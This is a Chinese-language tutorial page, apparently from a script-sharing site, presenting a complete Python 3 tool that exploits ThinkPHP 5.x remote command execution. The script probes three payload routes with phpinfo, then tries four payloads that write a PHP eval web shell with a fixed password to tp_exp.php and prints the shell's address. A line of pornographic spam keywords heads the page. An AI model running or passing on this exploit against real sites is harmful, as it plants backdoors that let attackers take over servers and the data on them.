欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python3編寫ThinkPHP命令執(zhí)行Getshell的方法

 更新時間:2019年02月26日 15:29:35   作者:nosafer  
這篇文章主要介紹了python3編寫ThinkPHP命令執(zhí)行Getshell的方法,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧

加了三個驗證漏洞以及四個getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:圖中的測試網址為在線漏洞環(huán)境,可自己去在線搭建測試。

環(huán)境地址:https://www.vsplate.com/

效果圖:

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。

相關文章

  • opencv3/Python 稠密光流calcOpticalFlowFarneback詳解

    opencv3/Python 稠密光流calcOpticalFlowFarneback詳解

    今天小編就為大家分享一篇opencv3/Python 稠密光流calcOpticalFlowFarneback詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-12-12
  • 淺談多卡服務器下隱藏部分 GPU 和 TensorFlow 的顯存使用設置

    淺談多卡服務器下隱藏部分 GPU 和 TensorFlow 的顯存使用設置

    這篇文章主要介紹了淺談多卡服務器下隱藏部分 GPU 和 TensorFlow 的顯存使用設置,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-06-06
  • python實現(xiàn)手機號歸屬地查詢功能

    python實現(xiàn)手機號歸屬地查詢功能

    手機上突然收到了某銀行的短信提示,看了一下手機的位數(shù),正好是11位,我一想,這不就是標準的手機號碼嗎?于是想用python的庫實現(xiàn)查詢手機號碼歸屬地查詢自由,所以本文給大家介紹了如何用python實現(xiàn)手機號歸屬地查詢功能,需要的朋友可以參考下
    2024-03-03
  • 基于Python和Scikit-Learn的機器學習探索

    基于Python和Scikit-Learn的機器學習探索

    這篇文章主要介紹了基于Python和Scikit-Learn的機器學習探索的相關內容,小編覺得還是挺不錯的,這里分享給大家,供需要的朋友學習和參考。
    2017-10-10
  • Matplotlib可視化之添加讓統(tǒng)計圖變得簡單易懂的注釋

    Matplotlib可視化之添加讓統(tǒng)計圖變得簡單易懂的注釋

    今天給大家?guī)淼奈恼率顷P于Python的,文章圍繞著Python Matplotlib可視化展開,文中非常詳細的介紹了如何給統(tǒng)計圖添加注釋,需要的朋友可以參考下
    2021-06-06
  • Python執(zhí)行時間的幾種計算方法

    Python執(zhí)行時間的幾種計算方法

    這篇文章主要介紹了Python執(zhí)行時間的幾種計算方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2020-07-07
  • python Pandas中數(shù)據的合并與分組聚合

    python Pandas中數(shù)據的合并與分組聚合

    大家好,本篇文章主要講的是python Pandas中數(shù)據的合并與分組聚合,感興趣的同學趕快來看一看吧,對你有幫助的話記得收藏一下
    2022-01-01
  • 使用python遍歷指定城市的一周氣溫

    使用python遍歷指定城市的一周氣溫

    本文主要介紹了使用python遍歷指定城市的一周氣溫的實現(xiàn)方法。具有很好的參考價值,下面跟著小編一起來看下吧
    2017-03-03
  • 一文帶你了解Python中的生成器和迭代器

    一文帶你了解Python中的生成器和迭代器

    生成器(Generators)和迭代器(Iterators)是 Python 中用于處理序列數(shù)據的強大工具,本文主要來和大家介紹一下它們的具體使用,方便大家更好的了解它們,需要的可以學習下
    2022-03-03
  • Python?計算機視覺編程進階之OpenCV?圖像銳化及邊緣檢測

    Python?計算機視覺編程進階之OpenCV?圖像銳化及邊緣檢測

    計算機視覺這種技術可以將靜止圖像或視頻數(shù)據轉換為一種決策或新的表示。所有這樣的轉換都是為了完成某種特定的目的而進行的,本篇我們來學習下如何對圖像進行銳化處理以及如何進行邊緣檢測
    2021-11-11

最新評論